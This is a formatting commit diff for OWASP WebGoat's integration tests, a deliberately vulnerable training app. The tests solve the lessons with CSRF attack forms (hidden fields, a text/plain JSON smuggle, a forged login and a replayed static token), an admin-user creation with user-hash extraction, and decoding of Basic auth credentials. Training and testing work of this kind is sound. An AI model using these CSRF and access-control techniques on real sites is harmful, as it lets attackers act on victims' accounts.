chore: format src/test/it as well
This commit is contained in:
parent
3ec34b0df5
commit
390ff39f19
5
pom.xml
5
pom.xml
@ -536,6 +536,11 @@
|
||||
<flexmark></flexmark>
|
||||
</markdown>
|
||||
<java>
|
||||
<includes>
|
||||
<include>src/main/java/**/*.java</include>
|
||||
<include>src/test/java/**/*.java</include>
|
||||
<include>src/it/java/**/*.java</include>
|
||||
</includes>
|
||||
<removeUnusedImports></removeUnusedImports>
|
||||
<googleJavaFormat>
|
||||
<style>GOOGLE</style>
|
||||
|
@ -1,86 +1,86 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import org.apache.http.HttpStatus;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
class AccessControlIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
void testLesson() {
|
||||
startLesson("MissingFunctionAC", true);
|
||||
assignment1();
|
||||
assignment2();
|
||||
assignment3();
|
||||
@Test
|
||||
void testLesson() {
|
||||
startLesson("MissingFunctionAC", true);
|
||||
assignment1();
|
||||
assignment2();
|
||||
assignment3();
|
||||
|
||||
checkResults("/access-control");
|
||||
}
|
||||
checkResults("/access-control");
|
||||
}
|
||||
|
||||
private void assignment3() {
|
||||
//direct call should fail if user has not been created
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||
private void assignment3() {
|
||||
// direct call should fail if user has not been created
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_FORBIDDEN);
|
||||
|
||||
//create user
|
||||
var userTemplate = """
|
||||
// create user
|
||||
var userTemplate =
|
||||
"""
|
||||
{"username":"%s","password":"%s","admin": "true"}
|
||||
""";
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.body(String.format(userTemplate, this.getUser(), this.getUser()))
|
||||
.post(url("/WebGoat/access-control/users"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_OK);
|
||||
|
||||
// get the users
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.body(String.format(userTemplate, this.getUser(), this.getUser()))
|
||||
.post(url("/WebGoat/access-control/users"))
|
||||
.then()
|
||||
.statusCode(HttpStatus.SC_OK);
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
|
||||
//get the users
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users-admin-fix"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
checkAssignment(
|
||||
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
private void assignment2() {
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
|
||||
private void assignment2() {
|
||||
var userHash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/access-control/users"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.get("find { it.username == \"Jerry\" }.userHash");
|
||||
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
|
||||
}
|
||||
|
||||
private void assignment1() {
|
||||
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
|
||||
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
|
||||
}
|
||||
private void assignment1() {
|
||||
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
|
||||
checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
|
||||
}
|
||||
}
|
||||
|
@ -1,8 +1,18 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import lombok.Data;
|
||||
import lombok.SneakyThrows;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -11,249 +21,265 @@ import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
import org.owasp.webgoat.container.lessons.Assignment;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
public class CSRFIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML3 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
|
||||
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" +
|
||||
"</form>\n" +
|
||||
"</body></html>";
|
||||
private static final String trickHTML4 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"validateReq\""
|
||||
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
|
||||
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
|
||||
+ "</form>\n"
|
||||
+ "</body></html>";
|
||||
|
||||
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" +
|
||||
"<input type=\"submit\" value=\"assignment 7\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML7 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
|
||||
+ " method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\""
|
||||
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
|
||||
+ " is the best!!' value='\"}' />\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
|
||||
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
|
||||
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
|
||||
"<input type=\"submit\" value=\"assignment 8\"/>\n" +
|
||||
"</form></body></html>";
|
||||
private static final String trickHTML8 =
|
||||
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
|
||||
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
|
||||
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
|
||||
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
|
||||
+ "</form></body></html>";
|
||||
|
||||
private String webwolfFileDir;
|
||||
private String webwolfFileDir;
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("CSRF");
|
||||
webwolfFileDir = getWebWolfFileServerLocation();
|
||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("CSRF");
|
||||
webwolfFileDir = getWebWolfFileServerLocation();
|
||||
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
|
||||
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
|
||||
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
|
||||
uploadTrickHtml(
|
||||
"csrf8.html",
|
||||
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testCSRFLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
// logout();
|
||||
login(); // because old cookie got replaced and invalidated
|
||||
startLesson("CSRF", false);
|
||||
checkResults("/csrf");
|
||||
}
|
||||
|
||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||
|
||||
// remove any left over html
|
||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testCSRFLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
|
||||
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
|
||||
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
|
||||
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
|
||||
);
|
||||
}
|
||||
// upload trick html
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
//logout();
|
||||
login();//because old cookie got replaced and invalidated
|
||||
startLesson("CSRF", false);
|
||||
checkResults("/csrf");
|
||||
}
|
||||
|
||||
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
|
||||
|
||||
//remove any left over html
|
||||
Path webWolfFilePath = Paths.get(webwolfFileDir);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
|
||||
}
|
||||
|
||||
//upload trick html
|
||||
private String callTrickHtml(String htmlName) {
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", htmlName, htmlContent.getBytes())
|
||||
.post(webWolfUrl("/WebWolf/fileupload"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
}
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.substring(8 + result.indexOf("action=\""));
|
||||
result = result.substring(0, result.indexOf("\""));
|
||||
|
||||
private String callTrickHtml(String htmlName) {
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.substring(8 + result.indexOf("action=\""));
|
||||
result = result.substring(0, result.indexOf("\""));
|
||||
return result;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private void checkAssignment3(String goatURL) {
|
||||
String flag = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("flag").toString();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4(String goatURL) {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("reviewText", "test review");
|
||||
params.put("stars", "5");
|
||||
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
|
||||
|
||||
boolean result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.formParams(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().path("lessonCompleted");
|
||||
assertEquals(true, result);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment7(String goatURL) {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
|
||||
|
||||
String flag = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.contentType(ContentType.TEXT)
|
||||
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().asString();
|
||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||
flag = flag.substring(0, flag.indexOf("\""));
|
||||
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment8(String goatURL) {
|
||||
|
||||
//first make sure there is an attack csrf- user
|
||||
registerCSRFUser();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "csrf-" + this.getUser());
|
||||
params.put("password", "password");
|
||||
|
||||
//login and get the new cookie
|
||||
String newCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.params(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract().cookie("JSESSIONID");
|
||||
|
||||
//select the lesson
|
||||
private void checkAssignment3(String goatURL) {
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.get(url("CSRF.lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.path("flag")
|
||||
.toString();
|
||||
|
||||
//click on the assignment
|
||||
boolean result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.post(url("/csrf/login"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
|
||||
}
|
||||
|
||||
assertThat(result).isTrue();
|
||||
private void checkAssignment4(String goatURL) {
|
||||
|
||||
login();
|
||||
startLesson("CSRF", false);
|
||||
|
||||
Overview[] assignments = RestAssured.given()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getObject("$", Overview[].class);
|
||||
// assertThat(assignments)
|
||||
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||
// .extracting(o -> o.solved)
|
||||
// .containsExactly(true);
|
||||
}
|
||||
|
||||
@Data
|
||||
private static class Overview {
|
||||
Assignment assignment;
|
||||
boolean solved;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to register the new user. Ignore the result.
|
||||
*/
|
||||
private void registerCSRFUser() {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("reviewText", "test review");
|
||||
params.put("stars", "5");
|
||||
params.put(
|
||||
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
|
||||
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", "csrf-" + this.getUser())
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"));
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.formParams(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
assertEquals(true, result);
|
||||
}
|
||||
|
||||
}
|
||||
private void checkAssignment7(String goatURL) {
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.put(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
|
||||
+ " best!!",
|
||||
"\"}");
|
||||
|
||||
String flag =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.contentType(ContentType.TEXT)
|
||||
.body(
|
||||
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
|
||||
+ " the best!!=\"}")
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
flag = flag.substring(9 + flag.indexOf("flag is:"));
|
||||
flag = flag.substring(0, flag.indexOf("\""));
|
||||
|
||||
params.clear();
|
||||
params.put("confirmFlagVal", flag);
|
||||
checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment8(String goatURL) {
|
||||
|
||||
// first make sure there is an attack csrf- user
|
||||
registerCSRFUser();
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "csrf-" + this.getUser());
|
||||
params.put("password", "password");
|
||||
|
||||
// login and get the new cookie
|
||||
String newCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("Referer", webWolfUrl("/files/fake.html"))
|
||||
.params(params)
|
||||
.post(goatURL)
|
||||
.then()
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
|
||||
// select the lesson
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.get(url("CSRF.lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
// click on the assignment
|
||||
boolean result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", newCookie)
|
||||
.post(url("/csrf/login"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted");
|
||||
|
||||
assertThat(result).isTrue();
|
||||
|
||||
login();
|
||||
startLesson("CSRF", false);
|
||||
|
||||
Overview[] assignments =
|
||||
RestAssured.given()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getObject("$", Overview[].class);
|
||||
// assertThat(assignments)
|
||||
// .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
|
||||
// .extracting(o -> o.solved)
|
||||
// .containsExactly(true);
|
||||
}
|
||||
|
||||
@Data
|
||||
private static class Overview {
|
||||
Assignment assignment;
|
||||
boolean solved;
|
||||
}
|
||||
|
||||
/** Try to register the new user. Ignore the result. */
|
||||
private void registerCSRFUser() {
|
||||
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", "csrf-" + this.getUser())
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"));
|
||||
}
|
||||
}
|
||||
|
@ -1,7 +1,5 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static java.util.concurrent.TimeUnit.SECONDS;
|
||||
import static org.hamcrest.Matchers.lessThan;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
@ -2,6 +2,7 @@ package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.fail;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.nio.charset.Charset;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.PrivateKey;
|
||||
@ -10,125 +11,146 @@ import java.security.spec.InvalidKeySpecException;
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import javax.xml.bind.DatatypeConverter;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
|
||||
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
public class CryptoIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("Cryptography");
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("Cryptography");
|
||||
|
||||
checkAssignment2();
|
||||
checkAssignment3();
|
||||
checkAssignment2();
|
||||
checkAssignment3();
|
||||
|
||||
// Assignment 4
|
||||
try {
|
||||
checkAssignment4();
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
try {
|
||||
checkAssignmentSigning();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
checkAssignmentDefaults();
|
||||
|
||||
checkResults("/crypto");
|
||||
|
||||
}
|
||||
|
||||
private void checkAssignment2() {
|
||||
|
||||
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
|
||||
.asString();
|
||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||
String answer_user = decodedString.split(":")[0];
|
||||
String answer_pwd = decodedString.split(":")[1];
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_user", answer_user);
|
||||
params.put("answer_pwd", answer_pwd);
|
||||
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment3() {
|
||||
String answer_1 = "databasepassword";
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
checkAssignment(url("/crypto/encoding/xor"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||
|
||||
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/md5")).then().extract().asString();
|
||||
|
||||
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/sha256")).then().extract().asString();
|
||||
|
||||
String answer_1 = "unknown";
|
||||
String answer_2 = "unknown";
|
||||
for (String secret : HashingAssignment.SECRETS) {
|
||||
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
|
||||
answer_1 = secret;
|
||||
}
|
||||
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
|
||||
answer_2 = secret;
|
||||
}
|
||||
}
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
params.put("answer_pwd2", answer_2);
|
||||
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
|
||||
}
|
||||
|
||||
